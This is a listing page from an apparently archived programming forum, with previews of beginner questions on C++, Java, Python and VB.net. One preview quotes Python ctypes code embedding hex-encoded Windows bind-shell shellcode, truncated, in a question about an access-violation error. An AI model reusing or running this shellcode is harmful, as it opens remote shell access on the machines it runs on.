132,726 Archived Topics

Remove Filter
Member Avatar for
Member Avatar for Rahul47

vi is basically used independently .....but what if vi commands are used in shell script ? I am trying to accomplish functionality of mv command using a shell script. what I want is to yank whole text of one file1 and paste it in file2. this all should happen in …

Software Development shell-scripting
Member Avatar for Watael
0
271
Member Avatar for ankit.pandey3

Hi friends, Can any one tell me the java program that how to convert Octa Decimal to HexaDecimal without using inbuild functions. I tried a lot but not successful. Please Please Please post the program... Thanks in advance..

Software Development java
Member Avatar for bguild
0
294
Member Avatar for Musa_Jutt

please help me out, i want a code of algo by i can find out the solution, i know hoe to multiply 2x2 or 3x3 matrices but i want user friendly code in which user can chose option. help me please its in my project.

Software Development c++
Member Avatar for DavidB
0
334
Member Avatar for MasterHacker110

I have this code but I only eccepts one client at a time: #include <iostream> #include <conio.h> #include <winsock2.h> #include <string> using namespace std; int main() { WSADATA wsadat; WORD rVersion; rVersion = MAKEWORD(2,0); if(WSAStartup(rVersion, &wsadat) != NO_ERROR) { cout<<"WSA initialization failed.\n"; WSACleanup(); return 1; } //Creating the welcome socket …

Software Development c++
Member Avatar for rubberman
0
4K
Member Avatar for savedlema

Hi all! I'm stuck somewhere with starting a process from vb.net. I want to start a mysqldump process from my vb.net. This code works perfect if I run it from windows command prompt: "C:\Program Files\MySQL\MySQL Server 5.5\bin\mysqldump.exe" --user=root --password=mypassword --host=localhost --port=3306 --database sakila > "C:\backup\sakilabackup.sql""" Then I took it to …

Software Development mysql vb.net
Member Avatar for tinstaafl
0
4K
Member Avatar for Labdabeta

Hello. I have been looking long and hard for an image library that meets these criteria that I have for pretty much any library I will use (with some obvious exceptions): A) Cross-Platform (If at all possible) B) Weightless (or nearly weightless) C) Stand-alone (I hate having to include DLLs …

Software Development c++ image
Member Avatar for Labdabeta
0
239
Member Avatar for dancks

I'm having trouble with a binary tree algorithm. A test program I wrote calls for the top node to only be altered in another method outside main (A simple guessing/learning game scenario). I wrote a smaller test of that exercise here: #include <stdlib.h> #include <stdio.h> #include <time.h> struct binary { …

Software Development algorithm c
Member Avatar for dancks
0
281
Member Avatar for Unused Mass

Hello. Could somebody explain why this code snippet is not working? The arrow (<----) points to where it's going wrong. It goes wrong when building, with the error of: "An error occurred creating the form. See Exception.InnerException for details. The error is: Index was out of range. Must be non-negative …

Software Development vb.net
Member Avatar for ricky.subiantoputra
0
229
Member Avatar for mag.magnesia

THIS IS THE QUESTION. 1- The user would enter how many minutes he/she would like to park in the parking lot. 2- The program would output the parking cost. 3 - The rate charge by the parking lot is as follows First 3 hours - RM4/Hour Hours 9 onwards - …

Software Development c++
Member Avatar for deceptikon
0
235
Member Avatar for MRehanQadri

[code]#include <iostream> #include <fstream> #include <conio.h> #include <ctime> using namespace std; //////////////////////////////////////////////////////////////////////////////// class account{ public: account(){ i = 0; balance = 0; transaction_during_one_day = 0; one_month_balance = 0; minimumBalance = 99999999999999; startTime = clock(); } //```````````````````````````````````````````````````````````````````````````````````````````````` void depositBalance(){ cout << "Enter Amount to Deposit: "; cin >> depositAmount; balance += …

Software Development c++ ios linked-list
Member Avatar for MRehanQadri
0
85
Member Avatar for jamegh1990

Hello. After reading other threads that inut from a text file to a basic array I do not understand how to apply it to a 2d array. I dont quite understand what I need to do to make it read in the data properly. This is what I have so …

Software Development c++
Member Avatar for jamegh1990
0
338
Member Avatar for delta_frost

I have had a hard time setting up OpenGL to work with Visual Studio 2010,but no luck so far.I included `glut.h`,`gl.h`.I have linked the requisite `.lib` files in the Project Properties,but still I get this error `error LNK2019: unresolved external symbol _glutMainLoop referenced in function _main` ind six more like …

Software Development c++ opengl visual-studio
Member Avatar for delta_frost
0
337
Member Avatar for Ecaz

Ok, so I'm not having a problem but I didn't know where else to place this question. I'm just now "re-learning" C++, I never got into GUI programming before and it's been almost 4 years since I last touched this language. Anyways, my question is simply, do you code a …

Software Development c++ gui windows-api
Member Avatar for Ecaz
0
405
Member Avatar for riahc3

Hello Im using the FileUtils.copyDirectory method but it gives me the error of "Failed to list contents of foldername". I know the folder exists and I can write there because creating a file works. What could be wrong?

Software Development java
Member Avatar for riahc3
0
568
Member Avatar for sujinsr

I having soap request and response xml in seperate file. i need to parse it and get the data from soap xml file. using C program I know it is possible with libxml2. Is it there any other way to parse ? Is there any facility available in gsoap to …

Software Development c ubuntu
Member Avatar for sujinsr
0
989
Member Avatar for game06

i am using xammp database. and i want to get last ID from my database so that i can insert new stuff in it. the code below doesnt get me the last it. its prints it is adding one next to last it. ex 7, 71, 711, 7111, 71111, but …

Software Development java
Member Avatar for JamesCherrill
0
164
Member Avatar for dashing.adamhughes

Hi. I have a Foo class that stored a dictionary attribute called _data. I'd like the Foo class to have a dictionary interface, and defer most basic dictionary operations down to the _data attribute. I am currently overwriting the magic methods one by one: def __getitem__(self, item): return self._data[item] def …

Software Development python
Member Avatar for slate
0
263
Member Avatar for Varunkrishna

I am currently working on a translator which translates one document from English to German, I had created it as a GUI application using Tkinter and python 2.7, Here I am facing some problems like 1. Assume that if a person uploads a document 'samp.txt' in the using the upload …

Software Development gui pdf python tkinter
Member Avatar for Gribouillis
0
402
Member Avatar for wolwayne

I am making an examination system desktop application in Java Swing. I have a frame named 'show_class_question' frame. This frame is used to display questions and four options from database. Whenever user clicks 'Next' button I am calling this same frame (show_class_question) again and agian from itself (self - refrencing) …

Software Development java java-swing oracle
Member Avatar for stultuske
0
408
Member Avatar for pearl.kumar1

Hi to all, I need to print a form in vb.net,but the problem is my form size is 1382, 784.If i print a form means it cuts other side..Any idea or reference link to print a form in full size are appreciated.

Software Development vb.net
Member Avatar for tinstaafl
0
268
Member Avatar for zehrah.sayed

Hi there. I am fairly new with python and programming altogether. I'm having a problem dividing elements of two lists, and appending the results to a new list. The problem is, the second list may contain a zero, and obviously we can't divide by zero. If it happens that we …

Software Development python
Member Avatar for zehrah.sayed
0
379
Member Avatar for tony75

Hi I get this error when I run bindshell.py ? line 29 is shell() "Traceback (most recent call last): File "1-bindshell.py", line 29, in <module> shell() WindowsError: exception: access violation writing 0x00000000022295A0" from ctypes import * shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" …

Software Development python
Member Avatar for tony75
0
215
Member Avatar for taekiewzz

Windows Application Form I have a user control called 'ucForm', this 'ucForm' have a button to pop out a windows called 'pForm', I want to code it like this, when I press the 'Next' button it will close the 'pForm' and pass the textbox value in 'pForm' to 'ucForm' textbox. …

Software Development microsoft-windows
Member Avatar for taekiewzz
0
257
Member Avatar for Ismatus3

Helo , I am working actualy on a function that delete a row from a table in a database , it works good with this python code : def supprimer(): global rows global element global listelement idsupprvar = idsuppr_entry.get() db = MySQLdb.connect(host = "localhost", user = "user", passwd = "123456",db …

Software Development python
Member Avatar for Ismatus3
0
171
Member Avatar for saugat.pradhan

def GetMemory(title, FSB1, FSB2, FSB3, Rover): word = raw_input("Enter the number of words you want to allocate: ") print "GET_MEMORY IS RUNNING......." print "Initial FSB list" Print (title, fsb1, fsb2, gsb3, rover) if int(word) <= fsb1[2]: # Size of area being returned fsb[2] = fsb[2]-int(word) fsb[1] = fsb[1]+int(word) rover = …

Software Development python
Member Avatar for zjtpjs4
0
174
Member Avatar for Papa_Don

Group, I've learned to find the index number of a specific character within a string by writing dIndex = myText.IndexOf("|") Obviously, this start counting left to right. But I'd like to do the same but start counting from the right side of the string to the left to find the …

Software Development vb.net
Member Avatar for Papa_Don
0
8K
Member Avatar for sushants

What is servlet in java? And how to make program in servlet.

Software Development java
Member Avatar for stultuske
0
140
Member Avatar for rayden150

I was wondering if you could give me advice, do i need to be extremely focused? also what do i start with, where do i start?

Software Development java
Member Avatar for stultuske
0
258
Member Avatar for kulith

hi im new to java.i wrote a simple programme and need a little help.i should enter an int as the input but when i entere a string, it gives an exception. Exception in thread "main" java.lang.NumberFormatException: For input string: i need a dialog box to be appeared when i enter …

Software Development java
Member Avatar for stultuske
0
308
Member Avatar for rishu pal

i make my project set up but when i install it on another computer it gives error that " can not find data in c:/document and settings.how we an solve it plz tell me

Software Development visual-basic
Member Avatar for imBaCodes
0
95
Member Avatar for subrata.roy.7583992

I've a field, say "Invoice No.", i want to be this as an auto-generated number. like DLP/001/2013-2014 DLP/002/2013-2014 DLP/003/2013-2014 . I use vb6 and Access.how can i do this?

Software Development visual-basic
Member Avatar for subrata.roy.7583992
0
195
Member Avatar for abrarsyed

hi, i m new to programming and i m trying to create a setup and deployment package for database application. after sucessfully creating setup, when i install it on my system, i m getting a error. i changed the permissions of the installed application folder, and it workd fine. is …

Software Development sql vb.net
Member Avatar for abrarsyed
0
177
Member Avatar for harshd89

Hello, We were assigned a hw to come up with a linked list implementation for grades. We are supposed to ask the user how many students there are and then ask for 4 grades for each student and then come up with an avg in 2 different ways i.e sum/4 …

Software Development java linked-list
Member Avatar for |-|x
0
4K
Member Avatar for Stuugie

Hi All, I am attempting to execute a dtsx package using Java and I have the following line Process executionProcess = Runtime.getRuntime().exec("dtexec/f\"C:\\Projects\\EconAnalysisConferenceBoard\\EconAnalysisConferenceBoard\\EconAnalysisConferenceBoard\\ConferenceBoardETL.dtsx\""); I keep getting an error saying the file cannot be found but if I run the dtexec in command prompt with the exact same paths and file name …

Software Development java
Member Avatar for Stuugie
0
687
Member Avatar for Kanoisa

Hi all, I have a problem with trying to call a protected base class function from an inherited class. I have done some research and from what i can gather what i am trying to do is simply not permitted by the standard. The error i get when trying to …

Software Development api c++
Member Avatar for mike_2000_17
0
206
Member Avatar for ZeroZen

Hey Folks I've created a template and storyboard that applies to all buttons in my application. When you click the button, it drops to the right and down a bit, then snaps back up. The problem is, when I handle the click in code, it executes before (or during?) the …

Software Development asp.net vb.net
Member Avatar for ZeroZen
0
611
Member Avatar for joseph.lyons.754

I have been tryin to get this to work for the past week if not two >:( with no joy. Worst of all its such a trivial problem. The program asks you to choose a town name from a combo box when you choose the location you shoud be brought …

Software Development java mysql sql
Member Avatar for JamesCherrill
0
426
Member Avatar for Sturdy

Hi all, I need to read my text file that contain first name, last name, age and blood types. All of it separated by semicolon sign. Eg: `Trudy;Canavan;41;AB` What i need to achieve is read the text file into different arrays. Please help me. Thank you

Software Development visual-basic
Member Avatar for Sturdy
0
2K
Member Avatar for dancks

So, as an exercise I wanted to make a simple binary tree as practice before moving on to other, harder things. I tried to implement a binary tree in a simple guessing game scenario. I can't test it due to issues I'm having with taking in input. But I can't …

Software Development c
Member Avatar for dancks
0
134
Member Avatar for taekiewzz

Form1 is a pop out windows from Form2. Form1 has a listbox1 with items and when I clicked the 'Continue' button in Form1, it will pass all the items in the listbox1 to listbox2 which is located in Form2. I would like to ask how the button_click in Form1 will …

Software Development
Member Avatar for tinstaafl
0
2K
Member Avatar for blaze007

i have a text file which contains a single line like 1,2,3,1,2. how do i read this text file and move integers to an array such that array contains only 12312.

Software Development
Member Avatar for ddanbe
0
341
Member Avatar for kamalashraf

i am making a number base conversion program in c++, suppose that user enters an base 2 number and want to convert that number in base 4. when he enter the number (which he wants to be converted), how can i detect that number is belongs to base 2 number …

Software Development c++
Member Avatar for Banfa
0
543
Member Avatar for subrata.roy.7583992

hi guys, i am making invoice form in vb6, i have to make grid view so that user can add item details in row just by clicking on it and new Grid is open when user want to add new item. like productname description qnt rate amount ----------------------------------------------- row1 row2 …

Software Development visual-basic
Member Avatar for Jx_Man
0
275
Member Avatar for tony75

Hi I try to conver perl script script.pl to script.exe using 64 bits Perl2Exe. I put Perl2Exe to my folder C:\Perl64 I wonder if I convert right? > perl perl2exe.exe myscript.pl

Software Development perl
Member Avatar for tony75
0
221
Member Avatar for greyfox32

I am working on a program which takes a text file as input and stores each word in a hash table along with a count of how many times the word occurs in the text. It seems to work fine until I attempt a file with more than 18 words, …

Software Development data-structure java
Member Avatar for bguild
0
262
Member Avatar for ram619

Hello, I need to write a python script for performing telnet between two windows machine, that is Host and Client. After doing Telnet Successfully I need to run some application on other machine and there in that application I need to give commands via my script aswell after giving command …

Software Development python
Member Avatar for ram619
0
13K
Member Avatar for Sturm

I use the g++ compiler for linux and i am trying to link allegro. how do i link allegro with g++?

Software Development c++
Member Avatar for kristiangd
0
1K
Member Avatar for RYAnn191

Would this decryption decrypt this encryption? encryption: push eax and eax,0xAA not al mov edx,eax pop eax and eax,0x55 xor ecx,edx xor ecx,eax rol cl,1 rol cl,1 mov eax,ecx sub al,0x20 decryption: add al, 0x20 mov eax, ecx ror cl, 1 ror cl, 1 xor ecx, eax xor ecx, edx …

Software Development assembly encryption
Member Avatar for Assembly Guy
0
299
Member Avatar for game06

i have two classes. Main class and tester class. I have to create a textfield so your can enter there name. The problem is that in tester class i am getting error on add() method. is there simple fix for this? i want to create the textfield in tester class …

Software Development java
Member Avatar for bguild
0
144
Member Avatar for nitsi

Hi, I have a weird requirement and since i have never worked on xml, xsd and python i am not understanding how to go about it. There will be 2 xsd files containing parameters(structure), (may or maynot have)default values for them and range values for them. The xml file will …

Software Development data-structure python xml
0
174

The End.